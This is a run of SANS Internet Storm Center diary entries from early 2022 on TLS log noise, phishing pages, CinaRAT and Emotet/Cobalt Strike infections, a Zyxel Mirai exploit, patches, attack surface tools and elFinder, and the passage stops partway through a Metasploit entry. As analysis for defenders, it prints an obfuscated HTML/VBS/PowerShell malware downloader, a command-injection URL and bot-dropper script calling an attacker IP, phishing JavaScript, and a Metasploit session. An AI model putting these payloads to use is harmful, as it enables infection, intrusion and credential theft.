Reminder: Decoding TLS Client Hellos to non TLS servers

If you still run a non-TLS web server, you may occasionally find requests like the following in your weblogs:

\x16\x03\x01\x01\x07\x01
\x16\x03\x01\x01\x06\x01
\x16\x03\x01\x01\x05\x01
\x16\x03\x01\x01\x03\x01
\x16\x03\x03\x01\xa6\x01
\x16\x03\x03\x01\xa7\x01

If the request includes nonprintable characters, the "\x" notation will show up in weblogs. While this may occasionally be used in attacks, the requests above are TLS requests received by a non-TLS server.

We covered this before but continue to keep getting questions about these particular entries.

The first byte, 0x16 (22 in decimal), indicates that the message is a handshake record. This is followed by the TLS version. TLS version "3.1" is TLS 1.0 (remember that TLS is a renaming of SSL, and TLS 1.0 follows SSL 3.0). 

Finally, you will see two bytes that indicate the length of the following message, usually a handshake header. The handshake header will often include a 0x00 byte, which will terminate the "string" as far as the Apache logging function is concerned, so usually, you only see the first 5 or 6 bytes. FWIW: The version "TLS 1.0" doesn't indicate that you deal with an outdated (or artificial) client. This version pertains to the overall message formatting. Later as part of the client hello, the client may indicate the supported TLS version.

As a great reference to decode TLS headers, see https://tls.ulfheim.net.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-02-13

DHL Spear Phishing to Capture Username/Password

This week I got this run-of-the-mill DHL phishing in my ISC inbox. 

I have seen similar email from my personal email before. When I followed the URL for analysis, it automatically inserted my email address into the source email box and it included the SANS Technology Institute picture at the top of the page to make it look like I'm accessing the official website.

What I also found interesting about this phishing email, both message below LOGIN which would normally be link with a URL, had nothing associated with them.

Indicator

https://showpiece.trillennium[.]biz/linknew/firebase1.php
 

[1] https://www.virustotal.com/gui/url/8e307d79ecae2d57b2a306cac2a95f32f4afca21c5b7a61539af787c1a2f6a16?nocache=1
[2] https://isc.sans.edu/forums/diary/Spearphishing+Email+Targeting+Outlook+Mail+Clients/27472/

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

1 Comments

Published: 2022-02-11

CinaRAT Delivered Through HTML ID Attributes

A few days ago, I wrote a diary about a malicious ISO file being dropped via a simple HTML file[1]. I found another sample that again drops a malicious ISO file but this time, it is much more obfuscated and the VT score is… 0! Yes, not detected by any antivirus solution! (SHA256:ef579d9bf2dba387c3be9effa09258902c4833dfb7634f4ed804d96e8849da74)

Here is the obfuscated technique used. The payload is stored in "ID" attributes of multiple paragraph tags:

<html><body onload= "Jack(Joana.join(''))"><p id = "A[30][1456]">
<p id="AAAAAAAAAAABQ0QwMDEBACAgICAgIC"><p id="AgICAgICAgICAgICAgICAgICAgICAg">
<p id="ICAgMjAyMl8wMl8xMF8wMjQ5ICAgIC"><p id="AgICAgICAgICAgICAAAAAAAAAAAB0A">
<p id="AAAAAAAdAAAAAAAAAAAAAAAAAAAAAA"><p id="AAAAAAAAAAAAAAAAAAAAABAAABAQAA">
<p id="AQAICAAKAAAAAAAAChMAAAAAAAAAAA"><p id="AAFAAAAAAiABUAAAAAAAAVdAAAAAAA">
<p id="AHR6AgoCMTMAAgAAAQAAAQEAMjAyMl"><p id="8wMl8xMF8wMjQ5ICAgICAgICAgICAg">
<p id="ICAgICAgICAgICAgICAgICAgICAgIC"><p id="AgICAgICAgICAgICAgICAgICAgICAg">
<p id="ICAgICAgICAgICAgICAgICAgICAgIC"><p id="AgICAgICAgICAgICAgICAgICAgICAg">
<p id="ICAgICAgICAgICAgICAgICAgICAgIC"><p id="AgICAgICAgICAgICAgICAgICAgICAg">
<p id="ICAgICAgICAgICAgICAgICAgICAgIC"><p id="AgICAgICAgICAgICAgICAgICAgICAg">
...

The payload is reconstructed by the function Jack(), executed when the page is loaded in a browser. Here is the function (the code has been beautified):

<script>
var Schott = document.getElementsByTagName("p");
const Joana = [];
for (var i = 0, max = Schott.length; i < max; i++) {
    if (Schott[i].id.includes("A[30]")) {
      var Patel = parseInt(Schott[i].id.replace("A[30]", "").replace("[", "").replace("]"));
      while (Patel != 0) {
          Joana.push("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
          Patel--; 
      }
    }
    else {
      Joana.push(Schott[i].id);
    }
}

function Jack(email) {
    const Janna = document.createElement("a");
    Janna.href = `data:application/octet-stream;base64,${email}`;;
    Janna.download = "7414-E-Invoice.iso";
    Janna.click();
}
</script>

Another obfuscation used is the reduction of the Base64 data. Indeed, the ISO file contains a lot of "A" characters. Instead of simply dumping the whole file, the longest chunks of "A" have been replaced by "A[30][xx]" where "xx" is used in a loop to inject more "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". Pretty nice!

The downloaded ISO file (SHA256:0b1d63ebb099272014680c8b8ea8a5d5746811d7e2639f85ef40d5f8c9852258) is unknown on VT. Once mounted, it does not contain an executable file, but we are facing another stage in a VBS script:

remnux@remnux:/MalwareZoo/20220210$ sudo mount -o loop 7414-E-Invoice.iso /tmp/iso
mount: /tmp/iso: WARNING: device write-protected, mounted read-only.
remnux@remnux:/MalwareZoo/20220210$ ll /tmp/iso
total 28
dr-xr-xr-x  1 root root   138 Feb  9 21:49 ./
drwxrwxrwt 25 root root 20480 Feb 11 02:20 ../
-r-xr-xr-x  1 root root  7168 Feb  9 19:07 Confirmation.vbs*

Confirmation.vbs (SHA256:ad8d435e1f3714f23a2af9c5b60eb782ed20ced5b23e055d220b39d3f207441c) also unknown on VT. Let's have a look at this one. Like the comments say, it’s an official file from Microsoft[2] that is often used by attackers:

' Windows Installer utility to manage the summary information stream
' For use with Windows Scripting Host, CScript.exe or WScript.exe
' Copyright (c) Microsoft Corporation. All rights reserved.
' Demonstrates the use of the database summary information methods

The script has been slightly changed to behave as a downloader. It downloaded a malicious DLL and loads it:

dim Q , P,T,S,R,V
Q = "Power"
P = "Shell $f=(('C:{'+'0'+'}Users{0'+'}P'+'u'+'b'+'lic{0}Doc'+'ume'+'nt'+'s'+'{0}Source')-F[ChAr]92);"
T = "if (!(Test-Path $f)) {iwr 'hxxps://cdn[.]discordapp[.]com/attachments/941031528085983305/941031632507379732/File' -OutFile $f  };"
S = "$bytes = [System.IO.File]::ReadAllBytes($f);for($i=0; $i -lt $bytes.count ; $i++){$bytes[$i] = $bytes[$i] -bxor 0xFA};"
R = "[System.Reflection.Assembly]::load($bytes);[Program]::Main();"
V = "Start-Sleep -Seconds 30;$sp=[environment]::getfolderpath('Startup');Copy-Item '$$Path$$' $sp;"

...

Dim All
All = Q + P+T+S+R+replace(V,"$$Path$$",Wscript.ScriptFullName)

...

objShell.Run All,false,0

Note that $$Path$$ is replaced by the script name and it copies itself in the Startup directory for persistence.

Like many downloaders today, the DLL is fetched from the Discord CDN and XOR’d with the key 0xFA. The file is unknown on VT (SHA256:d9a2993d8139db92c8fb2d6720c8c100a6b170a98a585139e3a827f54a70a0c7). According to Intezer Analyze, it shares some code with other CinaRAT[3] samples (an alias of QuasarRAT malware family). The DLL, written in .Net, has been obfuscated with Reactor:

remnux@remnux:/MalwareZoo/20220210$ pestr payload.exe |grep Reactor
This assembly is protected by an unregistered version of Eziriz's ".NET Reactor"!
<script language='javascript'>alert( "This assembly is protected by an unregistered version of .NET Reactor!" );</script>

[1] https://isc.sans.edu/forums/diary/Malicious+ISO+Embedded+in+an+HTML+Page/28282/
[2] https://docs.microsoft.com/en-gb/windows/win32/msi/manage-summary-information
[3] https://threatfox.abuse.ch/browse/malware/win.quasar_rat/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2022-02-10

iOS/iPadOS and MacOS Update: Single WebKit 0-Day Vulnerability Patched

Apple today released updates for iOS, iPadOS and macOS. 

The update fixes a single WebKit vulnerability, CVE-2022-22620. This vulnerability was reported by an anonymous researcher. It has already been exploited in the wild which explains the expedited release of this upgrade.

WebKit vulnerabilities are typically exploited by exposing the device to a malicious webpage, but anything rendered using the WebKit engine could potentially be used to expose the vulnerability.

With this update, you will be running macOS Monterey 12.2.1 and iPad or iOS 15.3.1. Currently, it isn't clear if other devices using WebKit are vulnerable, or if the patch will be released as a Safari update for older macOS versions. But typically, Apple does not release vulnerability information until all affected operating systems are patched.

Apple also released a new version of WatchOS, but according to Apple, no vulnerabilities are fixed.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-02-10

Zyxel Network Storage Devices Hunted By Mirai Variant

I have been talking a lot about various network storage devices and how you never ever want to expose them to the Internet. The brands that usually come up are Synology and QNAP, which have a significant market share. But they are not alone. Pretty much all these devices follow the same basic pattern: Build a reasonably powered server with a bunch of disks, and allow users to install various vulnerable web apps to manage these devices, or better: Install them by default and call them "Features."

Network vendor Zyxel is following the same pattern, and of course, we see scans targeting some of the vulnerabilities found in these devices. For example:

/adv,/cgi-bin/weblogin.cgi?username=admin%27%3Bcd%20/tmp%3Brm%20wget.sh;wget%20http%3A//136.144.41.151/multi/wget.sh%20-O-%20>s;chmod%20777%20s;sh%20s%20Exploit.Zyxel;+%23&password=asd

The URL is a bit "odd" because it includes a comma ahead of cgi-bin. But the exciting part follows the username "admin." Decoding it for readability:

admin'; cd /tmp;r m wget.sh; wget http://136.144.41.151/multi/wget.sh -O- >s; chmod 777 s; sh s Exploit.Zyxel; #

wget.sh is the typical script downloading an ELF binary for various architectures:

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://136.144.41.151/multi/bins/bot.x86_64; curl -O http://136.144.41.151/multi/bins/bot.x86;cat bot.x86 >lk;chmod +x *;./lk $1
[... and more lines like this ...]

The bot.x86_64 file downloaded is well recognized by Antivirus

The underlying vulnerability was disclosed about a year ago after the exploit had been seen for sale. It was in broader use at least around June last year.

As should be evident from the exploit above, the username is not escaped correctly/validated. A single quote is often associated with SQL injection, but various other injection vulnerabilities use similar patterns like the OS command injection in this case.

So double-check that your NAS, no matter the vendor, is up to date and NOT EXPOSED to the Internet.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-02-09

Example of Cobalt Strike from Emotet infection

Introduction

Update, 2022-02-09 at 17:09 UTC:  I've posted traffic and malware samples from the Emotet infections I generated to get traffic and malware samples when preparing for this diary.  The files are located here.

Since early December 2021, we have seen reports of Emotet infections dropping Cobalt Strike malware (link).  I've seen it occasionally since then, and I reported an example last week.  Today's diary reviews another Cobalt Strike sample dropped by an Emotet infection on Tuesday 2022-02-08.

Details

This was an infection from the epoch 5 botnet, and approximately 5 hours after the initial infection, Cobalt Strike traffic started on 2022-02-08 at 19:54 UTC.  The Cobalt Strike binary was sent over HTTPS Emotet C2 traffic, so there were no indicators over the network for Cobalt Strike until the Cobalt Strike traffic started.


Shown above:  Emotet infection traffic with the start of Cobalt Strike activity.

The first domain was foxofeli[.]com, and approximately 15 minutes later another domain for Cobalt Strike named diyabip[.]com as shown in the image below.


Shown above:  Second Cobalt Strike domain appears during the infection.

The Cobalt Strike binary is a 64-bit DLL that was saved to the same directory as the Emotet DLL.


Shown above:  Cobalt Strike DLL saved to the same directory as the Emotet DLL.

Indicators of Compromise (IOCs)

Cobalt Strike binary dropped during Emotet epoch 5 infection:

SHA256 hash: b6262f4aa06d0bf045d95e3fcbc142f1d1d98f053da5714e3570482f0cf93b65

  • File size:  216,576 bytes
  • File location:  C:\Users\[username]\AppData\Local\[Emotet directory]\gtrhfxlqswyy.dll
  • File type:  PE32+ executable (DLL) (GUI) x86-64, for MS Windows
  • Run method:  regsvr32.exe /s [filename]
  • Note 1:  [username] is specific to the Windows user account name of the infected victim.
  • Note 2:  [Emotet directory] name and the DLL file name are different for each infection.

Analysis links for the Cobalt Strike binary:

Cobalt Strike traffic:

  • 23.82.140[.]91 port 443 - foxofeli[.]com - HTTPS traffic
  • 108.62.141[.]56 port 443 - diyabip[.]com - HTTPS traffic

Final words

During real-world incidents, investigations have occasionally revealed use of Cobalt Strike before a threat actor drops ransomware (here is one example, and here is another).  I haven't yet seen ransomware sent through Emotet to Cobalt Strike infections in my lab environment, but we should remain aware of the threat posed by this malware combo.

Traffic, malware samples, and associated IOCs from the Emotet infections that I generated for today's diary are located here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2022-02-08

Microsoft February 2022 Patch Tuesday

This month we got patches for 70 vulnerabilities. Of these, none is critical, 1 was previously disclosed and none is being exploited according to Microsoft.

The maximum severity for vulnerabilities this month is 'important'. Among important vulnerabilities, the highest CVSS (8.80) score is associated with the CVE-2022-22005. It is a Remote Code Execution (RCE) vulnerability affecting Microsoft SharePoint Server. To exploit the vulnerability, an attacker must be authenticated and possess the permissions for page creation on Share Point. According to the advisory, the vulnerability is not being exploited, but it says that the 'Exploitability Assessment' is 'More Likely'.

There is another RCE with CVSS of 8.80 affecting Windows DNS Server (CVE-2022-21984). The advisory says that to be vulnerable, a DNS server would need to have dynamic updates enabled. The vulnerability is not being exploited and the 'Exploitability Assessment' is 'Less Likely'.

The previously disclosed vulnerability is an elevation of privilege on Windows Kernel (CVE-2022-21989). The attack complexity is high. "Successful exploitation of this vulnerability requires an attacker to take additional actions prior to exploitation to prepare the target environment." says the advisory. The CVSS for this vulnerability is 7.8.

See my dashboard for a more detailed breakout: [https://patchtuesdaydashboard.com/](https://patchtuesdaydashboard.com/)

 

February 2022 Security Updates

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Denial of Service Vulnerability
%%cve:2022-21986%% No No Less Likely Less Likely Important 7.5 6.5
Azure Data Explorer Spoofing Vulnerability
%%cve:2022-23256%% No No Less Likely Less Likely Important 8.1 7.1
Chromium: CVE-2022-0452 Use after free in Safe Browsing
%%cve:2022-0452%% No No - - -    
Chromium: CVE-2022-0453 Use after free in Reader Mode
%%cve:2022-0453%% No No - - -    
Chromium: CVE-2022-0454 Heap buffer overflow in ANGLE
%%cve:2022-0454%% No No - - -    
Chromium: CVE-2022-0455 Inappropriate implementation in Full Screen Mode
%%cve:2022-0455%% No No - - -    
Chromium: CVE-2022-0456 Use after free in Web Search
%%cve:2022-0456%% No No - - -    
Chromium: CVE-2022-0457 Type Confusion in V8
%%cve:2022-0457%% No No - - -    
Chromium: CVE-2022-0458 Use after free in Thumbnail Tab Strip
%%cve:2022-0458%% No No - - -    
Chromium: CVE-2022-0459 Use after free in Screen Capture
%%cve:2022-0459%% No No - - -    
Chromium: CVE-2022-0460 Use after free in Window Dialog
%%cve:2022-0460%% No No - - -    
Chromium: CVE-2022-0461 Policy bypass in COOP
%%cve:2022-0461%% No No - - -    
Chromium: CVE-2022-0462 Inappropriate implementation in Scroll
%%cve:2022-0462%% No No - - -    
Chromium: CVE-2022-0463 Use after free in Accessibility
%%cve:2022-0463%% No No - - -    
Chromium: CVE-2022-0464 Use after free in Accessibility
%%cve:2022-0464%% No No - - -    
Chromium: CVE-2022-0465 Use after free in Extensions
%%cve:2022-0465%% No No - - -    
Chromium: CVE-2022-0466 Inappropriate implementation in Extensions Platform
%%cve:2022-0466%% No No - - -    
Chromium: CVE-2022-0467 Inappropriate implementation in Pointer Lock
%%cve:2022-0467%% No No - - -    
Chromium: CVE-2022-0468 Use after free in Payments
%%cve:2022-0468%% No No - - -    
Chromium: CVE-2022-0469 Use after free in Cast
%%cve:2022-0469%% No No - - -    
Chromium: CVE-2022-0470 Out of bounds memory access in V8
%%cve:2022-0470%% No No - - -    
HEVC Video Extensions Remote Code Execution Vulnerability
%%cve:2022-21844%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-21926%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2022-21927%% No No Unlikely Unlikely Important 7.8 6.8
Microsoft Dynamics 365 (on-premises) Remote Code Execution Vulnerability
%%cve:2022-21957%% No No Less Likely Less Likely Important 7.2 6.3
Microsoft Dynamics GP Elevation Of Privilege Vulnerability
%%cve:2022-23271%% No No Less Likely Less Likely Important 6.5 5.7
%%cve:2022-23272%% No No Less Likely Less Likely Important 8.1 7.1
%%cve:2022-23273%% No No Less Likely Less Likely Important 7.1 6.2
Microsoft Dynamics GP Remote Code Execution Vulnerability
%%cve:2022-23274%% No No Less Likely Less Likely Important 8.3 7.2
Microsoft Dynamics GP Spoofing Vulnerability
%%cve:2022-23269%% No No Less Likely Less Likely Important 6.9 6.0
Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability
%%cve:2022-23262%% No No Less Likely Less Likely Important 6.3 5.5
%%cve:2022-23263%% No No Less Likely Less Likely Important 7.7 6.7
Microsoft Edge (Chromium-based) Tampering Vulnerability
%%cve:2022-23261%% No No Less Likely Less Likely Moderate 5.3 4.6
Microsoft Excel Information Disclosure Vulnerability
%%cve:2022-22716%% No No Less Likely Less Likely Important 5.5 4.8
Microsoft Office ClickToRun Remote Code Execution Vulnerability
%%cve:2022-22004%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Office Graphics Remote Code Execution Vulnerability
%%cve:2022-22003%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft Office Information Disclosure Vulnerability
%%cve:2022-23252%% No No Less Likely Less Likely Important 5.5 4.8
Microsoft Office Visio Remote Code Execution Vulnerability
%%cve:2022-21988%% No No Less Likely Less Likely Important 7.8 6.8
Microsoft OneDrive for Android Security Feature Bypass Vulnerability
%%cve:2022-23255%% No No Less Likely Less Likely Important 5.9 5.2
Microsoft Outlook for Mac Security Feature Bypass Vulnerability
%%cve:2022-23280%% No No Less Likely Less Likely Important 5.3 4.6
Microsoft Power BI Elevation of Privilege Vulnerability
%%cve:2022-23254%% No No Less Likely Less Likely Important 4.9 4.3
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2022-22005%% No No More Likely More Likely Important 8.8 7.7
Microsoft SharePoint Server Security Feature BypassVulnerability
%%cve:2022-21968%% No No Less Likely Less Likely Important 4.3 3.8
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2022-21987%% No No Less Likely Less Likely Important 8.0 7.0
Microsoft Teams Denial of Service Vulnerability
%%cve:2022-21965%% No No Less Likely Less Likely Important 7.5 6.5
Named Pipe File System Elevation of Privilege Vulnerability
%%cve:2022-22715%% No No More Likely More Likely Important 7.8 6.8
Roaming Security Rights Management Services Remote Code Execution Vulnerability
%%cve:2022-21974%% No No Less Likely Less Likely Important 7.8 6.8
SQL Server for Linux Containers Elevation of Privilege Vulnerability
%%cve:2022-23276%% No No Less Likely Less Likely Important 7.8 6.8
VP9 Video Extensions Remote Code Execution Vulnerability
%%cve:2022-22709%% No No Less Likely Less Likely Important 7.8 6.8
Visual Studio Code Remote Development Extension Remote Code Execution Vulnerability
%%cve:2022-21991%% No No Less Likely Less Likely Important 8.1 7.1
Win32k Elevation of Privilege Vulnerability
%%cve:2022-21996%% No No - - Important 7.8 6.8
Windows Common Log File System Driver Denial of Service Vulnerability
%%cve:2022-22710%% No No Less Likely Less Likely Important 5.5 4.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2022-21981%% No No More Likely More Likely Important 7.8 6.8
%%cve:2022-22000%% No No More Likely More Likely Important 7.8 6.8
Windows Common Log File System Driver Information Disclosure Vulnerability
%%cve:2022-21998%% No No Less Likely Less Likely Important 5.5 4.8
Windows DNS Server Remote Code Execution Vulnerability
%%cve:2022-21984%% No No Less Likely Less Likely Important 8.8 7.7
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2022-21994%% No No More Likely More Likely Important 7.8 6.8
Windows Hyper-V Denial of Service Vulnerability
%%cve:2022-22712%% No No Less Likely Less Likely Important 5.6 4.9
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2022-21995%% No No Less Likely Less Likely Important 7.9 6.9
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2022-21989%% Yes No More Likely More Likely Important 7.8 7.0
Windows Mobile Device Management Remote Code Execution Vulnerability
%%cve:2022-21992%% No No Less Likely Less Likely Important 7.8 6.8
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2022-22717%% No No Less Likely Less Likely Important 7.0 6.1
%%cve:2022-22718%% No No More Likely More Likely Important 7.8 6.8
%%cve:2022-21997%% No No Less Likely Less Likely Important 7.1 6.2
%%cve:2022-21999%% No No More Likely More Likely Important 7.8 6.8
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
%%cve:2022-22001%% No No Less Likely Less Likely Important 7.8 6.8
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2022-21985%% No No Less Likely Less Likely Important 5.5 4.8
Windows Runtime Remote Code Execution Vulnerability
%%cve:2022-21971%% No No Less Likely Less Likely Important 7.8 6.8
Windows Services for NFS ONCRPC XDR Driver Information Disclosure Vulnerability
%%cve:2022-21993%% No No Less Likely Less Likely Important 7.5 6.5
Windows User Account Profile Picture Denial of Service Vulnerability
%%cve:2022-22002%% No No Less Likely Less Likely Important 5.5 4.8

 

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

0 Comments

Published: 2022-02-07

web3 phishing via self-customizing landing pages

You may not quite understand what "web3" is all about (I do not claim to do so), but it appears phishers may already use it. At least a particular web3 platform, "Skynet," aka "siasky.net," is already being abused. [FWIW: the page was reported to report@siasky.net]
The platform is pretty much a free file hosting platform. You upload an HTML file, which will display at a particular "slasky.net" URL. Like all similar file hosting platforms, it is ready to be abused by phishing scams.
Aside from being hosted on this newish platform, the JavaScript used to implement the phishing page is interesting. Not only does it customize the login dialog with the company logo, but it also replaces the entire page with a screenshot of the domain homepage.

Here is what the phishing page looks like if I append my "jullrich@sans.edu" email address to the URL

The JavaScript delivered by the site first attempts to disable some fo the context menu actions to prevent simple "view-source attacks". The, it uses the website screen shot generator at thum.io. Thum.io offers free accounts, but the JavaScript did include an API key (reported to thum.io) so this phishing site may have used a paid account. The logo is retrieved from logo.clearbit.com using the simple free service without any authentication tokens.

var ind=my_email.indexOf("@");
var my_slice=my_email.substr((ind+1));
var mainPage = 'https://'+my_slice;
var sv = my_slice;
var image = "url('https://image.thum.io/get/auth/53562-77e4da5126dd25414aacf01ccad53fff/width/1200/https://"+sv;"')"
$("#logoimg").attr("src", "https://logo.clearbit.com/"+mainPage);
document.body.style.backgroundImage = image;   
    

Any data collected by the login form is then posted to https://cryptoglobalinvestment.net/obinna/New.php . The domain "cryptoglobalinvestment.net" redirects to blockchain.com. I doubt that the domain is related to blockchain.com. cryptoglobalinvestment.net is interestingly not using anonymized registration data. The email used to register it "servictiicho@hotmail.com" is also used for a few other domain names that are currently not reachable. For example 1stalliancecredit.com.

For the first two attempts, the site will return a password error. On the third attempt, it will redirect the user to email.[user domain] in an attempt to direct the user to a likely webmail server. 

Phishing URL: https [:] //siasky [.] net/BAA0F6NzigGep-VM6sJGewvHC6pZ2sJYTIVRsDYA4_QUVA#test@example.com

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

3 Comments

Published: 2022-02-05

Power over Ethernet and Thermal Imaging

I recently installed network devices fed with power over ethernet, and wondered how much heat was dissipated in the ethernet cables.

This can be measured & calculated, our you try to feel if the cables are getting warm.

I'm lucky to have a thermal imaging camera, so I can just "look" at the wires and network devices, and see if anything gets hot.

I've owned this camera for many years now, and have used it for various purposes. For example, whenever I made changes to an electrical installation, I would take before and after shots, to determine if changes had been induced in the heat dissipation.

Thermal imaging cameras are expensive, so they are rarely used to visualize heat in domestic computers, servers, network equipment, cables, ...

However, I did some googling, and discovered that there are now thermal imaging cameras on the market for a couple of $100. Standalone cameras or cameras you connect to your smartphone. Back when I bought mine, you couldn't find one under $1000.

These cheap cameras are probably using low quality sensors, and their measurments might not be very precise, however I'm sure they are good enough to visualize differences in temperature.

Here you can see an access point powered via PoE. The ethernet cable is at the top, and is hard to distinguish from the background, except close to the access point. This means that the cable is not hotter than its environment, except close to the access point: that's heat conducting from the access point itself.

And here you see the PoE switch itself:

The cables are not hotter than the environment.

And one component inside the switch stands out: this must be the power suply.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

1 Comments

Published: 2022-02-03

Keeping Track of Your Attack Surface for Cheap

Various commercial services that promise to keep track of your "attack surface" are sprouting like tulips in the spring (yes... for you up north: Spring is near). But what options are there in particular for smaller companies to track your attack surface "on the cheap"?

Let's first define "attack surface" for the purpose of this post: The attack surface is composed of exposed services that if vulnerable could be used by attackers to breach your network. We will not consider client issues (for example Microsoft's excellent attack surface reduction tools focus on that). But instead, we will consider anything from network storage devices to cat feeders that may be exposed to the internet either intentionally or by mistake (still trying to find the telnet password for my cat feeder before the cat locks it down.. different diary for a different day).

So what are some of the tools that are available:

Zeek

I mention Zeek first because if Zeek works for you, you are done. Zeek is excellent at identifying new services. It offers a number of logs to help (e.g. known_services, known_hosts, software, known_certs ...). Out of the box, it does pretty much everything you need and it is pretty straightforward to collect the logs in a console like ELK.

So why continue reading? Well, Zeek may not cover everything. You may have hosts in the cloud, or even in home networks, that are not covered by your Zeek setup. 

Nmap

Nmap, the granddaddy of port scanning tools is easily scripted to periodically scan networks for open ports (= exposed services). It even got pretty good tools to identify services. The issue with Nmap is that you will only get a snapshot in time, and some services may only be exposed occasionally. It may also be a bit tricky to scan various networks you do not directly control. For example, how to deal with employee home networks? At the very least, you should get permission to scan the home network of employees (may not be a bad idea if this is a work-from-home setup). But there are several technical and ethical issues. Do not forget that Nmap can be a bit aggressive at times, and low-end home routers may crash if scanned. This will require some careful testing and probably a legal review.

DNS

DNS isn't a specific tool. But you should occasionally review which IP addresses your various hostnames point to. This will get you a list of IPs to scan with nmap to make sure you do not forget anything. But DNS is a classic first-stop for your attackers, so you should try it too.

Shodan / Onyphe

Now I am starting with various services that scan the internet for you. Shodan isn't 100% free, in particular, if you search for IP addresses, but with occasional sales, it is close enough to free. Shodan essentially runs the nmap scan for you and even has some alerting and custom scan functions (again: if you pay)

Onyphe.io is a service very similar to Shodan with some paid/free services. 

Censys

Censys has a commercial "attack surface management" service. But it's simple (free) search may be all you need for occasional checks. 

RiskIQ

RiskIQ does collect data from various databases like Whois, DNS, and others, and will inform you of any changes. They do have a limited free service as part of their Passivetotal acquisition. 

Internet Storm Center :)

Can't hurt to search here for your IP address. While we do not track exposed services, you will see your footprint in our sensor network.

Bug Bounties

Why not get the reports from people who already scan you. Make sure your security.txt file is in order to allow for easy reporting of any vulnerable exposed services.

Anything else I forgot?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

3 Comments

Published: 2022-02-02

Finding elFinder: Who is looking for your files?

elFinder is an interesting open-source project implementing a file manager in JavaScript and PHP. The file manager promises a user experience similar to the "Finder" in macOS. Once you have elFinder installed, uploading/downloading files to your web server will be a lot easier.

But then there are vulnerabilities. Over the years, elFinder had several severe vulnerabilities. Snyk lists 7, some as recent as June 2021. The most recent vulnerability, %%cve:2021-32682%% is a remote code execution vulnerability. SonarSource has a nice blog post with details about the vulnerability.

When it comes to allowing file uploads, there is one critical rule: Do not allow uploads into the document root. Otherwise, an attacker can upload a PHP script and later execute the code by accessing the script from the browser. Tools like elFinder do not always have that luxury. The tool's purpose is to upload files into more or less arbitrary locations. The most common use case allows uploads of assets like images to the document root.

To mitigate that risk, these tools implement blocklists of particular extensions and filetypes that must not be uploaded. And with all blocklists, it is easy to miss something. For example, elFinder by default did not block ".phar" files, which are often associated with PHP. 

The next, also common, vulnerability involves calling operating system commands. elFinder will allow users to upload zip files and unzip them for the user. To accomplish this, elFinder uses the operating system's zip utility. The elFinder developers did cover the most prominent issue: Someone attempting to append a second command. For example, if a user uploads a zip file with the name "test.zip&wget%20exploit", the "&" would be appropriately dealt with. But often overlooked is a second path to code execution: Many tools (and "zip" is one of them) allow for command execution via command line parameters. This option was overlooked and led to past vulnerabilities.

So what are we seeing?

For the last couple of weeks, we started seeing scans for elFinder popping up in our "First Seen" list of URLs reported by our honeypots. 

Attackers are paying attention. Some quick "Google Dorking" shows likely about 100,000 or so (hard to get a good number) of exposed instances. I didn't check how up-to-date they were, but I assume many of them to be vulnerable. (again: this number is not great. On the one hand, it includes some pages about elFinder, but it also misses instances that are not "linked," and Google didn't index). 

What can we expect attackers to do with elFinder: The number one issue will likely be phishing. Whenever I look at a phishing page, it usually involves a compromised WordPress page (and elFinder is used as a plugin with WordPress) if the attacker didn't opt for some cloud hosting. 

What do you need to do? Take the list of URLs above, and scan your internal systems quickly, making sure you are not exposing elFinder. It may have been included in other tools. While the list of URLs is not exhaustive, it is a good start, and this is what the attackers are looking for (one of the values you get out of a honeypot).

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2022-02-01

Automation is Nice But Don't Replace Your Knowledge

The word "automation" is on everyone's lips for a while. We need to perform tasks as fast as possible and we develop or use tools to automate as much as possible. Also because we are lazzy people (well, honestly, I am ;-), if you can solve annoying tasks with a few lines of Python, go ahead! But results must be controlled and validated. Expecially when you perform scans or vulnerability assessments. It's so easy to drop a device on a network with a bunch of tools and start to scan everything. 

Here is a practical example:

An unknown device has been found vulnerable via SSH on a network but it was discovered and flagged via a very old Metasploit module called "exagrid_known_privkey"[1]:

msf6 > use exploit/linux/ssh/exagrid_known_privkey
[*] Using configured payload cmd/unix/interact
msf6 exploit(linux/ssh/exagrid_known_privkey) > set RHOST 192.168.x.x
RHOST => 192.168.x.x
msf6 exploit(linux/ssh/exagrid_known_privkey) > set TARGET 0
TARGET => 0
msf6 exploit(linux/ssh/exagrid_known_privkey) > exploit
[+] Successful login
[*] Exploit completed, but no session was created.
msf6 exploit(linux/ssh/exagrid_known_privkey) >

Great, you found credentials but no session was created!? The module tried to authenticated through a private key or an hardcoded password and it worked! So it was reported as successful in Metasploit and you could think "Yes, pwned!" and grab a beer!

But the discovered SSH daemon was a very old SSH-2.0-dropbear_2018.76 daemon. At a first look, it seems to not accept usernames passed through the command line:

